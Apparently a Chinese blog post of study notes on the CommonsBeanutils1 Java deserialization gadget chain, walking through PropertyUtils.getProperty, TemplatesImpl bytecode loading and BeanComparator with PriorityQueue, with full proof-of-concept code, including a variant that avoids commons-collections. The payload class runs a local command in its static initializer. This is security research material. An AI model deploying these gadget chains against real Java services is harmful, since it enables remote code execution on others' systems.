CommonsBeanutils1 分析笔记
1、PropertyUtils.getProperty
commons-beanutils-1.9.2.jar
包下的 PropertyUtils#getProperty
方法相对于getXxx方法,取得其值。
来试下该方法功能
public class Person {
private String name;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
...
public class PropertyUtilsTest {
@Test
public void test() throws Exception{
Person p = new Person();
p.setName("liangzi");
String name =(String) PropertyUtils.getProperty(p, "name");
System.out.println(name);
}
}
我们知道通过 TemplatesImpl
类 bytecodes
字段传入恶意类,调用outputProperties
属性的getter
方法时,实例化传入的恶意类,调用其构造方法,可以造成任意命令执行。
在TemplatesImpl
类中存在 getOutputProperties
方法
可以通过PropertyUtils.getProperty 来构造如下代码
package com.test.serialize;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.PropertyUtils;
import org.junit.Test;
import java.lang.reflect.Field;
public class TempletesTest {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] classToBytes() throws Exception{
byte[] bytes = ClassPool.getDefault().get(RunCmd.class.getName()).toBytecode();
return bytes;
}
@Test
public void test() throws Exception{
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name", "Pwnr");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates,"_bytecodes",new byte[][]{classToBytes()});
PropertyUtils.getProperty(templates,"outputProperties");
}
}
...
RunCmd 恶意类
package com.test.serialize;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class RunCmd extends AbstractTranslet{
static {
try {
Runtime.getRuntime().exec(new String[]{"cmd","/c","notepad.exe"});
} catch (Exception e){
e.printStackTrace();
}
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
正常执行命令。
2、构造poc
1、通过ysoserial 可以发现使用了 PriorityQueue 对象,所以我们来到 PriorityQueue#readObject
方法
2、在 BeanComparator
类中存在 compare
方法,该方法中有使用 PropertyUtils.getProperty 方法
我们目标是要进去到 PropertyUtils.getProperty 方法中,首先需要有调用 compare的地方,同时 property!=null,继续回到 PriorityQueue#readObject
中,看到 heapify() 方法
流程如下
heapify -> siftDown -> siftDownUsingComparator(k, x) -> comparator.compare((E) c, (E) queue[right])
comparator 由 PriorityQueue 构造方法传入,所以我们传入 BeanComparator
对象即可进去到BeanComparator
类的 compare
方法
构造payload
package com.test.serialize;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import org.junit.Test;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class TemplatesTest2 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] classToBytes() throws Exception{
byte[] bytes = ClassPool.getDefault().get(RunCmd.class.getName()).toBytecode();
return bytes;
}
@Test
public void test() throws Exception{
BeanComparator beanComparator = new BeanComparator();
PriorityQueue queue = new PriorityQueue(2, beanComparator);
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name", "Pwnr");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates,"_bytecodes",new byte[][]{classToBytes()});
setFieldValue(queue,"size",2);
setFieldValue(queue,"queue",new Object[]{templates, templates});
setFieldValue(beanComparator, "property", "outputProperties");
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(queue);
oos.close();
System.out.println(bos);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
ois.readObject();
}
}
3、排除 commons-collections 包构造poc
在maven中加入如下配置,再次运行上面的poc
<exclusions>
<exclusion>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
</exclusion>
</exclusions>
java.lang.NoClassDefFoundError: org/apache/commons/collections/comparators/ComparableComparator
所以这里我们要传入非 collections包中的 ComparableComparator
需要满足下面条件
- 实现
java.util.Comparator
接口 - 实现
java.io.Serializable
接口
获取实现了comparator 并可序列化的类
import org.junit.Test;
import org.reflections.Reflections;
import java.io.Serializable;
import java.util.Comparator;
import java.util.Set;
public class ClassUtil {
@Test
public void test() {
Reflections reflections1 = new Reflections("java.*");
Set<Class<? extends Comparator>> comparatorclasses = reflections1.getSubTypesOf(Comparator.class);
Reflections reflections2 = new Reflections("java.*");
Set<Class<? extends Serializable>> serializableclasses = reflections1.getSubTypesOf(Serializable.class);
for (Class clazz : comparatorclasses) {
// System.out.println("Found: " + clazz.getName());
for (Class serialclazz : serializableclasses){
if(serialclazz.getName().equals(clazz.getName())){
System.out.println(clazz.getName());
}
}
}
}
}
得出
java.util.Comparators$NaturalOrderComparator
javax.swing.plaf.basic.BasicTreeUI$TreeTransferHandler
java.util.Collections$ReverseComparator2
java.util.Comparators$NullComparator
java.util.Collections$ReverseComparator
java.lang.String$CaseInsensitiveComparator
javax.swing.LayoutComparator
java.util.Collections.java
类
package com.test.serialize;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import org.junit.Test;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Collections;
import java.util.PriorityQueue;
public class TemplatesTest2 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] classToBytes() throws Exception{
byte[] bytes = ClassPool.getDefault().get(RunCmd.class.getName()).toBytecode();
return bytes;
}
@Test
public void test() throws Exception{
BeanComparator beanComparator = new BeanComparator(null,Collections.reverseOrder());// 或 BeanComparator beanComparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
PriorityQueue queue = new PriorityQueue(2, beanComparator);
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name", "Pwnr");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
setFieldValue(templates,"_bytecodes",new byte[][]{classToBytes()});
setFieldValue(queue,"size",2);
setFieldValue(queue,"queue",new Object[]{templates, templates});
setFieldValue(beanComparator, "property", "outputProperties");
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(queue);
oos.close();
System.out.println(bos);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
ois.readObject();
}
}
4、参考
- https://www.leavesongs.com/PENETRATION/commons-beanutils-without-commons-collections.html
- https://blog.knownsec.com/2016/03/java-deserialization-commonsbeanutils-pop-chains-analysis/
CommonsBeanutils1 分析笔记的更多相关文章
- 3.View绘制分析笔记之onLayout
上一篇文章我们了解了View的onMeasure,那么今天我们继续来学习Android View绘制三部曲的第二步,onLayout,布局. ViewRootImpl#performLayout pr ...
- 4.View绘制分析笔记之onDraw
上一篇文章我们了解了View的onLayout,那么今天我们来学习Android View绘制三部曲的最后一步,onDraw,绘制. ViewRootImpl#performDraw private ...
- 2.View绘制分析笔记之onMeasure
今天主要学习记录一下Android View绘制三部曲的第一步,onMeasure,测量. 起源 在Activity中,所有的View都是DecorView的子View,然后DecorView又是被V ...
- 1.Android 视图及View绘制分析笔记之setContentView
自从1983年第一台图形用户界面的个人电脑问世以来,几乎所有的PC操作系统都支持可视化操作,Android也不例外.对于所有Android Developer来说,我们接触最多的控件就是View.通常 ...
- zeromq源码分析笔记之线程间收发命令(2)
在zeromq源码分析笔记之架构说到了zmq的整体架构,可以看到线程间通信包括两类,一类是用于收发命令,告知对象该调用什么方法去做什么事情,命令的结构由command_t结构体确定:另一类是socke ...
- glusterfs 4.0.1 api 分析笔记1
一般来说,我们写个客户端程序大概的样子是这样的: /* glfs_example.c */ // gcc -o glfs_example glfs_example.c -L /usr/lib64/ - ...
- SEH分析笔记(X64篇)
SEH分析笔记(X64篇) v1.0.0 boxcounter 历史: v1.0.0, 2011-11-4:最初版本. [不介意转载,但请注明出处 www.boxcounter.com 附件里有本文 ...
- 【转载】Instagram架构分析笔记
原文地址:http://chengxu.org/p/401.html Instagram 架构分析笔记 全部 技术博客 Instagram团队上个月才迎来第 7 名员工,是的,7个人的团队.作为 iP ...
- CentOS下使用Iptraf进行网络流量的分析笔记
CentOS下使用Iptraf进行网络流量的分析笔记 一.概述 Iptraf是一款linux环境下,监控网络流量的一款绝佳的免费小软件. 本博客其他随笔参考: Centos安装流量监控工具iftop笔 ...
随机推荐
- C++1-100之间 7的倍数 带7 打印 敲桌子
1 // 1-100之间 7的倍数 带7 打印 敲桌子 2 #include <iostream> 3 using namespace std; 4 5 int main() 6 { 7 ...
- Android开发没有一技之长就废了吗?
写在前面的话 不知你发现没有,人到中年之后,时间流逝的速度仿佛越来越快? 还记得毕业那会儿,我们怀着新鲜和好奇踏进了职场,那个时候每天都是满满的挑战和需要学习的东西,感觉时间过得真慢啊: 不知道从什么 ...
- PTui又加全景图 佳田未来城 of 安阳
今天我又拍了张360°无死角全景,因为我发现这种照片非常具有纪念意义,一个全景能胜过一千张照片. 我上一次的全景的地址:http://www.dushangself.site/dslab/?id=8 ...
- pthread_cleanup_push与pthread_cleanup_pop的理解
一.为什么会有pthread_cleanup_push与pthread_cleanup_pop: 一般来说,Posix的线程终止有两种情况:正常终止和非正常终止.线程主动调用pthread_exit( ...
- tomcat服务监控分析及自启
#! /bin/bash # process-monitor.sh serverName="/usr/local/apache-tomcat-7.0.72-8080" #获取进程i ...
- CentOS7 快速安装配置mysql8.0
因为这个项目是两台CentOS7虚拟机,一台当作 MySQL服务器,所以需要配置3306端口公开 参考教学视频:Java2020体系课 22周课 5-2~3 两节课 yum search mysql- ...
- Golang语言系列-04-运算符
运算符 Go语言内置的运算符有 算术运算符 关系运算符 逻辑运算符 位运算符 赋值运算符 算术运算符 package main import "fmt" func main() { ...
- gcc limits.h的bug定位看include_next和默认搜索路径
手编的交叉编译工具链经常报一堆宏未定义,例如下面是编译gtest的时候报_POSIX_PATH_MAX宏未定义,有时还会上报SSIZE_MAX等宏未定义: googletest/src/gtest-f ...
- NOIP 模拟 6 辣鸡
题解 难得啊,本来能 \(AC\) 的一道题,注释没删,挂了五分,难受 此题暴力很好想,就是直接 \(n^2\) 枚举不同的矩阵组合,记录块内答案和跨块的答案 出题人不会告诉你,这题只要输出块内答案就 ...
- asp.net MVC 数据的验证
join 操作